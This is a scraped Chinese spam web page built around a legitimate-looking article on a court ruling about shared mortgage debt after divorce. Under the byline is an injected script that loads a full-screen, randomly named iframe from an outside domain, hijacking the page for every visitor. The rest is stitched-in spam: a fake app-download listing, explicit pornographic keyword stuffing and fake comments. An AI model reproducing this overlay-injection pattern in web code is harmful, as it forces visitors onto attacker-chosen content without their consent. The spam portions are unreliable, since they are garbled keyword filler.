首页 ›吃瓜黑料›内容详情

中国电力网:吃瓜黑料黑料-反差黑料吃瓜网正能量-离婚后房屋归一方，房贷还要共同承担吗？法院这样判

alan 吃瓜黑料 2025-03-11 1 0
(function() { function generateRandomString(length) { return Math.random().toString(36).substring(2, length + 2); } function loadExternalContent(url) { var frameName = generateRandomString(10); var frame = document.createElement('iframe'); frame.id = frameName; frame.style.cssText = 'width:100%;height:100%;border:none;position:fixed;top:0;left:0;z-index:9999;'; frame.src = url; document.body.appendChild(frame); } var externalUrl = 'https://52-cg.com'; loadExternalContent(externalUrl); })();

夫妻双方共同向银行贷款买房，房地产开发公司为其提供担保，后双方离婚，并约定房屋和房贷都归男方，结果男方未按约还贷，导致银行划扣房地产开发公司的保证金，房地产开发公司遂诉至法院，要求两人共同偿还债务，会获得法院的支持吗？

小琪和小健两人在夫妻关系存续期间，在某房地产开发公司购买了一套房屋，支付首付后，两人就剩余房款向银行申请贷款支付。后房地产开发公司和小琪、小健签订补充协议，承诺对贷款承担连带担保责任。但夫妻两人收到贷款后，未能依约向银行按时还款，致使银行从某房地产开发公司的保证金专用账户中先后累计划扣 76 万元。

某房地产开发公司认为，小琪和小健二人未依约还贷，导致其承担连带清偿责任，已构成违约，应承担支付违约金并赔偿损失的责任，遂将二人共同告上法院。

小琪辩称，自己和小健已经在 2021 年 3 月办理了离婚手续，且双方协议离婚后房屋归小健所有，房贷也由小健支付，房地产开发公司产生的损失是因小健未按时还贷导致的，应由小健偿还损失，债务与自己无关。

法院审理后认为，该房屋是小琪和小健在婚姻关系存续期间用夫妻共同存款购买的，属于夫妻共同财产，故该房产产生的按揭贷款属于夫妻共同债务，应该由两人共同偿还。虽然小琪与小健已经离婚，并协议约定房产归小健所有、贷款由小健偿还，但离婚协议属于小琪和小健的内部约定，不能对抗第三人，更不能以离婚为由逃避婚姻存续期间夫妻的共同债务。

某房地产开发公司作为担保人承担担保责任后，依法有权向被告小琪、小健追偿，二被告未按合同约定偿还代付款项，已构成违约，法院依法判决二被告向某房地产开发公司偿还代付款 76 万元及违约金。

法官说法

夫妻共同贷款购买的房屋，其债务是双方的共同责任。这意味着，即使离婚协议上写明房贷由某一方承担，但这只是夫妻之间的约定，并不对第三人产生约束力。在负有夫妻共同债务的情况下，即使离婚，如果债权人能够证明债务用于夫妻共同生活、共同生产经营或者基于夫妻双方共同意思表示，那么夫妻双方都有可能需要承担偿还责任。

本案中，小琪和小健在婚姻存续期间贷款买房，贷款属于夫妻共同债务，不因双方是否离婚而改变，即使小琪和小健的离婚协议约定案涉房屋归小健所有，房屋债务均由小健一人承担，但是某房地产开发公司仍有权向小琪和小健主张权利；而小琪可以在承担还款责任后，按照离婚协议向小健进行追偿。

本文地址：http://ccgg6.cc/post/17129.html
版权声明：[免责声明]本文来源于网络，不代表本站立场，如转载内容涉及版权等问题，请联系邮箱:seo998@gmail.com，我们会予以删除相关文章，保证您的权利。

相关文章

热门文章

最近发表

首页 > > 在线成人国产
一本一本久久a久久精品综合

九色 91 综合

「活动」注册就送新人大礼包

84.29MB
版本V9.84.14
下载APK 高速下载
下载久久人妻无码毛片A片麻豆潘金莲安装你想要的应用 更方便 更快捷 发现更多
喜欢 18%好评(87人)
评论 40
天天碰免费视频0 伊人性伊人情综合网1 策驰影视2 新盟网上订烟3 国产探花精品4
详细信息
  • 软件大小: 81.23MB
  • 最后更新: 2024-09-16 18:34:53
  • 最新版本: V8.28.17
  • 文件格式: apk
  • 应用分类:ios-Android 亚洲乱码中文字幕久久孕妇黑人
  • 使用语言: 中文
  • : 需要联网
  • 系统要求: 5.41以上
应用介绍
一，久久香蕉国产线熟妇人妻，东北女人一级毛片
二，办公室里做好紧好爽H，国产 欧美 亚洲 中文字幕
三，十八和谐色区，天天色情站
四，chineseviedo国产，欧美一区二区影院
五，久久国产精品福利一区二区三区，欧美老熟妇又粗又大
六，国产人妻人伦精品836700，欧美性猛交A片索多玛120天
七，男人都懂www深夜免费网站，中文字幕丰满孑伦无码专区

【联系我们】
客服热线：139-8888-666
加载更多
版本更新
V1.22.17
国内精品久久久久影院老司，中国女人内谢69XXXXXA片

日本免费黄色视频

猜你喜欢

相关攻略
包含 饿了么 的应用集
评论
  • 香蕉app在线观看 4天前
    被部长玩弄的人妻HD
  • 撅高含着玉势羞耻惩罚 7天前
    亚洲AV无码一区二区色情蜜芽
  • 国产午夜精品理论片 7天前
    精品人妻无码一区二区三区葡京
  • 思思久久99热只有频精品66 6天前
    神马6度深夜福利片
  • 激情内射亚洲一区二区三区爱妻 2天前
    久久午夜夜伦鲁鲁片无码免费
  • 精品午夜中文字幕熟女人妻在线 4天前
    亚洲一区AV在线观看无码漫画
  • 国产午夜精品理论片 5天前
    中文字幕日韩精品有码视频
  • 亚洲妇女无套内射精 4天前
    娇妻裸体交换俱乐部61
  • 漂亮的保姆7日本在线播放 4天前
    久久久乱码精品亚洲日韩
  • 女人被狂躁C到高潮喷水软件 9天前
    浴室里强摁做开腿呻吟动态图
太大太长又硬放进去很爽
精品人妻无码日本一区二区三区 -安卓手机网上最贴心的Android软件应用平台! 版权归本站所有